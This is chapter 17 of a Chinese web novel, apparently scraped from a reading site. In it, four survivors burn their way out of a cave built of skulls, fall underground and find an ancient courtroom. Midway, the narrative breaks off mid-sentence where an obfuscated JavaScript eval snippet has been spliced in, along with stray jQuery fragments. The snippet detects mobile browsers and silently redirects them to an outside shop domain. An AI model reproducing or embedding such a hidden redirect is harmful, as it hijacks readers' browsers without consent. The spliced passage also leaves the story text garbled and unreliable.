17. 第17章

作品:《我用烂尾楼拯救世界

    弹药有限,时间更有限。此刻每一秒的僵持,都在消耗她们本就不多的体力与清醒。


    一个念头在叶抒年心底迅速成型,带着孤注一掷的决绝。


    既然火是它们眼下唯一的畏惧,那就让这场火,烧得足够彻底,足够狂烈,烈到能撕开一条生路,哪怕代价是将她们自己也置于险境。


    此刻没有万全之策,只有险中求胜。


    她深吸一口气,那混杂着硝烟与未知腥气的空气灌入胸腔,将最后一丝迟疑压了下去。


    然后,她蹲下身,打开了储物空间。


    指尖在空间里快速掠过那些系统奖励的杂物——药品、工具、零星材料。


    没有别的选择了。她的目光最终定格,手指握住了一个冰凉的玻璃瓶。


    高浓度酒精。


    叶抒年握住那瓶液体,直起身,目光扫过身旁三人。


    阮天清正以精准的短点射逼退一张试图下扑的脸孔,俞不晚则快速更换着枪管下挂的能源匣。林煦言紧贴着岩壁,脸色发白但咬牙举着一把轻型手枪警戒侧翼。


    “清清,小俞,”叶抒年举起手中的玻璃瓶,“用这个。”


    阮天清侧头瞥见瓶身,眼神一凛:“酒精?”


    “对。”叶抒年语速加快,脑中同时飞转。


    酒精挥发性强,在密闭空间与空气混合后遇明火即爆燃。但大火会迅速消耗氧气,产生有毒浓烟。


    “把酒精洒上去,用你们的火力点燃。我们没法彻底消灭这些东西,只能尽可能驱散,烧出一条路。点火后所有人闭气,压低身体沿岩壁根部冲出去。”


    俞不晚换好能源匣,咔嚓一声上膛,眉头紧皱:“火势蔓延开,我们自己也可能被困住。”


    “我知道。”叶抒年迎上她的目光,“但继续耗下去,弹药耗尽也是死路一条。不如赌一把,赌它们比我们更怕这场火。”


    林煦言咽了口唾沫,声音有点抖:“……听、听姐的!”


    阮天清没有立刻回答,她抬头看向洞壁。那些幽绿的光点正以肉眼可见的速度增加,嘈杂的声浪又一次蠢蠢欲动。


    两秒后,她收回视线,朝叶抒年干脆地一点头:“你指挥时机。”


    俞不晚啐了一口,却将肩上炮管稳稳端起,瞄准了洞顶最密集的区域:“行,那就烧。”


    计划已定,再无犹豫。


    叶抒年拧开瓶盖,浓烈的酒精气味逸散出来。


    与此同时,洞顶的人脸似乎察觉到了威胁,幽绿荧光骤然大盛,翻涌着向她们的位置压来。


    就是现在。


    俞不晚将一杆备用的热能枪抛给阮天清。


    两人默契地交替开火,短暂的光束在空中交错明灭,将靠近的人脸一次次逼退。


    火光在空中燃起,又瞬间熄灭,惊鸿只在一刹那。


    但很快就不止一刹了。


    叶抒年将酒精朝洞顶用力挥洒。透明的液体在空中散成细雾,弥漫开来。


    几乎同时,阮天清与俞不晚的枪口调转,炽白光束射入那片浮动的酒精雾中。


    “轰!”


    火焰瞬间爆燃,沿着酒精雾气的轨迹迅猛蔓延,舔上洞顶密集的人脸。


    那些人脸吐出的微弱气流,反而成了助燃的风。


    火舌顺着岩壁轮廓疯狂窜开,顷刻间连成一片跃动的火海,将整个山洞顶部照得亮如炼狱。


    火光炽烈,终于彻底撕开了黑暗的伪装。


    直到此刻,四人才真正看清。


    整面岩壁,从顶端到四周,密密麻麻,根本是由无数骸骨与人头堆叠而成。


    那些看似悬浮的脸孔,实则深深嵌在骨殖之间,构成了这面巨大而诡异的墙壁。


    林煦言呼吸骤然停止,下一秒,他猛地偏过头干呕起来。俞不晚则倒抽一口冷气,挤出低低一声咒骂。


    叶抒年只觉得一股寒意顺着脊椎爬升,即便置身火海,那股冷意也挥之不去。


    这根本不是山洞,而是一座用无数死者堆砌而成的坟墓!


    而此刻,这座坟墓正在烈焰中崩塌。


    墙体在高温炙烤下发出呻吟。那些嵌在其中的人脸尖啸着,向岩壁更深处蜷缩逃窜,幽绿的光芒在火中明灭不定,迅速黯淡。


    失去了这些填充物的支撑,整面岩壁的结构开始瓦解,大块骨骸剥落坠下。


    洞顶随之炸开数道裂隙,天光趁机钻入,照亮翻腾的尘烟。


    “快看上面!有光!”林煦言声音嘶哑,带着绝处逢生的激动。


    “沿着裂隙往外走!快!”阮天清当机立断,挥手指向最近那道透光的裂缝。墙体正在她们眼前大片垮塌,但裂缝后隐约可见外部扭曲的林木光影。


    那是生路。


    四人无需多言,朝着那道微光全力冲刺。


    俞不晚冲在最前,用肩撞开挡路的碎骨;阮天清断后,枪口始终警惕着身后涌动的暗影;而叶抒年拽着气喘吁吁的林煦言,眼睛紧盯着越来越近的光源。


    希望就在十几米外。


    岩壁崩塌的巨响中,她们甚至能感受到彼此剧烈的心跳。


    然而,就在俞不晚的手几乎要触到那道透光缝隙的边缘时——


    脚下倏然一空。


    她所站立的这片地面,竟然毫无征兆地整体向下陷落。


    “小心!”叶抒年喊道。


    可惜太迟了,失重感狠狠包裹住了所有人。


    众人脚下的地面忽然碎裂,露出下方深不见底的黑暗。光亮在头顶急速远离,取而代之的是扑面而来的阴冷气流,和碎石坠落的呼啸。


    四人一齐坠入深渊。


    山洞垮塌的闷响滚过岩壁区,惊起林间一片飞鸟。


    林予安带着队员正在岩壁下休整,隐约听见里头传来些不寻常的动静。


    有队员侧耳听了听,凑过来报:“队长,洞里好像有情况。”


    “里头困着四个人,能没情况么?”林予安头也没回,还在数天上一行雁。


    他对林煦言目前的处境很有信心,除非整座山洞主动裂开一道缝,否则她们绝对出不来。


    “队长,”又有人开口,声音紧了点,“岩壁……好像在抖。”


    林予安这才撩起眼皮。头顶那片山岩确实在微微震颤,砂石簌簌地往下落。他皱了皱眉,心想莫非是地震了?


    这念头还没转完,他就笑不出来了。


    不是地震。


    是整面岩壁活过来似的,从那些大大小小的洞口里,突然涌出黑压压一片东西。是异兽,成千上万只,正在潮水般往外冲!


    紧接着,那壁立千仞的山岩,竟像酥了的饼似的,在他眼前一块一块往下掉。


    霎时间尘烟暴起,兽群奔突,刚才还巍然不动的山体,在这片乱象中,塌了。


    林予安愣在原地,手里刚捡的树枝“啪嗒”一声掉在地上。


    山洞外的世界陷入混沌,而此刻,在另一片被隔绝的寂静里,叶抒年缓缓睁开了眼。


    视野先是模糊一团,随后才聚拢成昏沉的光影。


    她试着动了一下,全身骨头都像散了架,无处不痛。最尖锐的刺痛来自右肩关节,稍微一动就钻心地疼,貌似是摔脱臼了。


    一阵悉索声从旁边传来。她警觉地想转头,脖颈却僵硬得发酸。


    忽然,一只手轻轻搭上她疼痛的肩头。


    叶抒年浑身一僵,忍着痛楚猛地扭过头,动作牵扯到伤处,让她倒吸一口凉气。视野对焦后,她看到了阮天清沉静但同样带着疲惫的脸。


    对方似乎也刚苏醒不久,正用手揉着太阳穴,眉心微蹙,显然也在对抗坠落后的眩晕和不适。她的目光落在叶抒年的肩膀上:“脱臼了?”


    “嗯。”叶抒年忍着疼点头。


    阮天清没再多话,她先活动了一下自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973520|193266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己有些发颤的手腕,然后才小心地扶住叶抒年的胳膊,另一只手稳稳按住她的肩胛骨。


    “忍着点。”话音落下,指节发力一抵一推。


    肩头传来“咔”一声轻响。


    叶抒年痛得抽了口气,额角渗出冷汗,但紧接着便觉那滞涩的关节重新归位,虽还酸胀,却已能活动。


    她试着转了转手臂,朝阮天清扯出个坚强的笑:“好了。”


    阮天清颔首,转身去查看另外两人。


    叶抒年也撑着没受伤的左臂,忍着全身酸痛坐起身。耳鸣减弱了些,但脑袋依旧昏沉。她看向身旁,俞不晚蜷在地上,还没醒。


    叶抒年伸手,轻轻摇了摇她的胳膊:“小俞,醒醒。”


    俞不晚闷哼一声,眼皮动了动,还没完全睁开就先摸向腰侧的枪。直到看清是叶抒年,她才吁出一口气,撑着坐起身:“……我们还活着?”


    “暂时是。”叶抒年握住她的手,借力把她拉起来。


    俞不晚起身时踉跄了一下,扶住叶抒年的胳膊才站稳,甩了甩头,又活动了一下手腕和脚踝,嘴里低低骂了句什么,大约是抱怨浑身的疼痛。


    另一侧,林煦言也皱着眉撑起身,脸上还沾着灰。他甩了甩头,第一句话是:“那些人脸……没跟下来吧?”


    “应该没有。”阮天清环顾四周,语气平静,“先看看我们在哪儿。”


    四人陆续站定,不约而同地沉默了片刻。


    险死还生,大家还陷在短暂恍惚里。不久前岩洞坍塌的巨响似乎还在耳际回荡,而此刻周遭却是一片异样的寂静。


    “还算走运,”俞不晚率先打破沉默,拍了拍身上的尘土,“我刚才差点就成馅儿了。”


    林煦言揉了揉后颈:“我宁可当馅儿,也不想再看见那些绿眼睛。”他说完顿了顿,环视周围后,语气迟疑,“但这里……是哪儿?”


    这里不像地底。至少并没有地下世界那般阴暗潮湿。


    空间异常开阔,头顶极高处有不知来源的微光漫下,隐约勾勒出周围的环境。


    而她们脚下,是整片灰白色石材铺就的地面,平坦光滑,几乎能映出人影。前方不远处,对称立着数根粗大的石柱,柱身纹路已然模糊,但隐约能看出是某种精致的图案。


    真正让这里显出形貌的,是更远处的布局。


    “那里有个台子。”俞不晚眯眼看向正前方。


    那里,数层石阶垒起一座高台,台上摆着一张厚重的石座。椅背高耸,刻着类似天平与剑刃交错的浮雕,扶手两端则各有一个深陷的凹槽,仿佛曾常年放置什么东西。


    高台之下,左右两侧各有一排低矮的长石凳,像是为某种席位所设。


    叶抒年缓缓走上前几步。她的目光顺着台阶向上,缓缓扫过高台,又落回她们所在的这片空地中央。


    这里立着一个木制围栏,栏板早已朽坏变形,但靠近地面的部分,能看到几处铁锈侵蚀的痕迹,以及半截断裂的金属锁链,一端嵌在石地里,另一端无力地垂着。


    更外围,是一排排逐渐升起的石阶座位,呈半圆形环绕着中央区域。


    “这里不像禁区形成前的遗址。”阮天清走到叶抒年身边。


    她们都知道,这片禁区的前身是一座小镇,而眼前带着明显欧式特质的装潢与那格格不入。


    “太华丽了,”俞不晚环抱手臂,“想不到,003号禁区里还有这种殿堂。”


    叶抒年依然没说话。她环视一周,某种冰冷而庄严的既视感越来越清晰,攫住了她的呼吸。


    “感觉……也不是殿堂。”她轻声道,语气里带着一丝不确定的困惑,“你们看这里的布局,有审判席,有被告栏,有旁听席……”


    她顿了顿,目光落回墙壁上那些刻字,尽管看不真切,但那排列的方式,让她想起界碑上浮现的规约文字。


    “这里,是座法庭。”